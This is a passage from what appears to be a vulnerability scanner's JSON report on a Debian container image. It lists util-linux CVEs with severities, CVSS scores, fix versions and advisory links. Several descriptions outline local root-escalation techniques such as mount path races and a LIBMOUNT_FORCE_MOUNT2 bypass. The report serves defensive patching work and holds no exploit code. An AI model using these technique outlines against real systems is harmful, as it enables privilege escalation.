"https://github.com/util-linux/util-linux/releases/tag/v2.41.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-h4rw-gv36-wmp5", "https://linux.oracle.com/cve/CVE-2026-53615.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53615", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53615" ], "PublishedDate": "2026-10-14T16:17:46.07Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-76642", "PkgID": "liblastlog2-2@2.41-5", "PkgName": "liblastlog2-2", "PkgIdentifier": { "PURL": "pkg:deb/debian/liblastlog2-2@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "eb4f5430aea34a10" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76642", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4894fe110ed0245df57d1b98d8b62cdf4d767cbfb96333e76f7b25646971241e", "Title": "util-linux: util-linux: failed external mount helper still runs privileged X-mount post-hooks", "Description": "util-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.", "Severity": "HIGH", "CweIDs": [ "CWE-390" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-76642", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892", "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a", "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc", "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf", "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f", "https://linux.oracle.com/cve/CVE-2026-76642.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-76642", "https://www.cve.org/CVERecord?id=CVE-2026-76642", "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper" ], "PublishedDate": "2026-09-03T13:06:08.44Z", "LastModifiedDate": "2026-09-24T20:28:01.78Z" }, { "VulnerabilityID": "CVE-2026-78408", "PkgID": "liblastlog2-2@2.41-5", "PkgName": "liblastlog2-2", "PkgIdentifier": { "PURL": "pkg:deb/debian/liblastlog2-2@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "eb4f5430aea34a10" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78408", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5fc5f40ec644534edcae2a3ad0919ef40341f57a2eb231b67ca0a18dea912a94", "Title": "util-linux: util-linux: nsenter --join-cgroup leaks root cgroup migration authority", "Description": "The nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.", "Severity": "HIGH", "CweIDs": [ "CWE-775" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H", "V3Score": 7.9 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/09/05/2", "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78408", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj", "https://linux.oracle.com/cve/CVE-2026-78408.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78408", "https://www.cve.org/CVERecord?id=CVE-2026-78408" ], "PublishedDate": "2026-09-02T16:17:23.687Z", "LastModifiedDate": "2026-11-05T03:17:32.977Z" }, { "VulnerabilityID": "CVE-2026-78409", "PkgID": "liblastlog2-2@2.41-5", "PkgName": "liblastlog2-2", "PkgIdentifier": { "PURL": "pkg:deb/debian/liblastlog2-2@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "eb4f5430aea34a10" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78409", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8fc1ae5384414149421fd6cb377fbe9229662bf9b0d5443fdc59d3131b1a7f08", "Title": "util-linux: util-linux: X-mount.subdir detached-tree resolution can escape via intermediate symlinks", "Description": "The X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.", "Severity": "HIGH", "CweIDs": [ "CWE-59" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/security/cve/CVE-2026-78409", "https://bugzilla.redhat.com/show_bug.cgi?id=2522607", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv", "https://nvd.nist.gov/vuln/detail/CVE-2026-78409", "https://www.cve.org/CVERecord?id=CVE-2026-78409" ], "PublishedDate": "2026-09-02T16:17:23.833Z", "LastModifiedDate": "2026-11-05T00:17:28.61Z" }, { "VulnerabilityID": "CVE-2026-78410", "PkgID": "liblastlog2-2@2.41-5", "PkgName": "liblastlog2-2", "PkgIdentifier": { "PURL": "pkg:deb/debian/liblastlog2-2@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "eb4f5430aea34a10" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78410", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5447f2130698a3ef1c3bbe5d3f0a29bcb63104d3497d9dd4181176359dbc0638", "Title": "util-linux: util-linux: restricted bind mounts do not pin the source, allowing X-mount.owner/group/mode redirection", "Description": "A flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78410", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m", "https://linux.oracle.com/cve/CVE-2026-78410.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78410", "https://www.cve.org/CVERecord?id=CVE-2026-78410" ], "PublishedDate": "2026-09-02T16:17:23.983Z", "LastModifiedDate": "2026-11-05T03:17:33.15Z" }, { "VulnerabilityID": "CVE-2026-53612", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "libmount1@2.41-5", "PkgName": "libmount1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libmount1@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "84ccd0371833b76" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53612", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0e6eefd98e72f4e2489b388ef500e1b1c5837c0ae3659eb5b3a88d93873742ed", "Title": "util-linux: util-linux: TOCTOU in the mount program when applying post-mount ownership/mode changes", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility's `hook_owner.c` post-mount hook performs path-based `chmod()` and `lchown()` operations on a previously validated mount target. A local low-privileged user authorized by an `/etc/fstab` entry with `user` or `users` and an `X-mount.mode`, `X-mount.owner`, or `X-mount.group` option can use `renameat2(RENAME_EXCHANGE)` to race a writable ancestor of the target and redirect the privileged ownership or mode change to a root-owned path, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53612", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/24da33905c7115c4cbccd0afb2a469804e96467a", "https://github.com/util-linux/util-linux/commit/722c96974dd4009a334e4aee556eedaab5fb94b4", "https://github.com/util-linux/util-linux/commit/897a08c2b11dfa66975c3d24d63c7bf5f5be1a7c", "https://github.com/util-linux/util-linux/commit/d0c5adaeb3a3d823aba1377794de8f009b8152cc", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-g8wm-75wr-g2vh", "https://linux.oracle.com/cve/CVE-2026-53612.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53612", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53612" ], "PublishedDate": "2026-10-14T15:17:20.26Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53613", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "libmount1@2.41-5", "PkgName": "libmount1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libmount1@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "84ccd0371833b76" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53613", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:874f9267d57c6af4199bc57911a16711f0b96a3e3dd3c6b8cfe260aae1e56223", "Title": "util-linux: TOCTOU in the mount program via ancestor directory swap on target path", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.17 through 2.41.6 and 2.42 through 2.42.3, and in 2.42.4 when the legacy `mount(2)` path is used without `/proc`, restricted non-root `mount` requests validate an `/etc/fstab` target before the mount operation re-resolves that pathname. A local low-privileged user authorized by an fstab `user` or `users` entry whose target has an attacker-writable ancestor can use `renameat2(RENAME_EXCHANGE)` to swap a path component and redirect an authorized mount to a root-owned location, such as mounting attacker-controlled content over `/etc/sudoers.d`, and thereby gain root privileges. Versions 2.41.5 and 2.42.2 pin targets for the new mount API, and 2.42.4 pins legacy targets through `/proc/self/fd`; the documented legacy fallback without `/proc` remains affected.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53613", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/0b010025a0e429bc80355c94db86a843395d49e2", "https://github.com/util-linux/util-linux/commit/0d3d55975aa3492c62fd345eac38f41cd166c0b0", "https://github.com/util-linux/util-linux/commit/2c773f336134acf016e639abb6f12ba7341fe4b8", "https://github.com/util-linux/util-linux/commit/39fef62bf3226abb6bb018fa8750afa0327e84b4", "https://github.com/util-linux/util-linux/commit/472cc3fb2d4d47cca7aab2e0b59eb3fb8a9359ec", "https://github.com/util-linux/util-linux/commit/646fb66603d10a7ac337e14f566f1af48e3107c9", "https://github.com/util-linux/util-linux/commit/708d1b3c51932dc5ba8082c7368187715e6a8d78", "https://github.com/util-linux/util-linux/commit/78a860982e036f38fe9c0b3344998df5ac2c2ff5", "https://github.com/util-linux/util-linux/commit/85d16b341f7232c9dbb4884b632e1e956584bee9", "https://github.com/util-linux/util-linux/commit/a9508d216eb8977979102782672e0470cc9bf2a2", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/releases/tag/v2.42.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8gj5-72r3-428g", "https://linux.oracle.com/cve/CVE-2026-53613.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53613", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53613" ], "PublishedDate": "2026-10-14T15:17:20.41Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53614", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "libmount1@2.41-5", "PkgName": "libmount1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libmount1@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "84ccd0371833b76" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53614", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:03c2c287e6022275928b4cf23fe638650415b169b91c329c7a7504e1d74c0475", "Title": "util-linux: util-linux: SUID mount(8) allows nosuid/noexec bypass via LIBMOUNT_FORCE_MOUNT2", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39.1 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility reads the attacker-controlled `LIBMOUNT_FORCE_MOUNT2` environment variable with `getenv()`, allowing a local low-privileged\nuser to force the non-atomic legacy bind-mount path. With an `/etc/fstab` bind mount authorized by `user` or `users` and protected by `nosuid`, `noexec`, or `nodev`, an attacker can race the window between the initial bind mount and the remount that applies those security flags and execute a SUID program from the temporarily unprotected mount, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-269", "CWE-807" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53614", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/31e37c1c7dcf25b76ccf41391fe934a75644c661", "https://github.com/util-linux/util-linux/commit/53ff0fcdab12d69c60c971c69a3d0d173fa46ca9", "https://github.com/util-linux/util-linux/commit/9cbfb823500f510b34767edabd3ffd5b436987b4", "https://github.com/util-linux/util-linux/commit/cc81bbcec598cb91f0eb8456282f33eed820ed5f", "https://github.com/util-linux/util-linux/commit/fd6b4d94ff013dc7ed680d4e864610da5b9751f1", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-67r7-8m5w-22wx", "https://linux.oracle.com/cve/CVE-2026-53614.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53614", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53614" ], "PublishedDate": "2026-10-14T16:17:45.93Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53615", "PkgID": "libmount1@2.41-5", "PkgName": "libmount1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libmount1@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "84ccd0371833b76" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53615", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a6388c8851771c0558691c86127b6ad73ed1d217f425ab2739d7784122f8b291", "Title": "util-linux: util-linux: Partition metadata compromise via integer overflow in DOS partition parser", "Description": "util-linux is a random collection of Linux 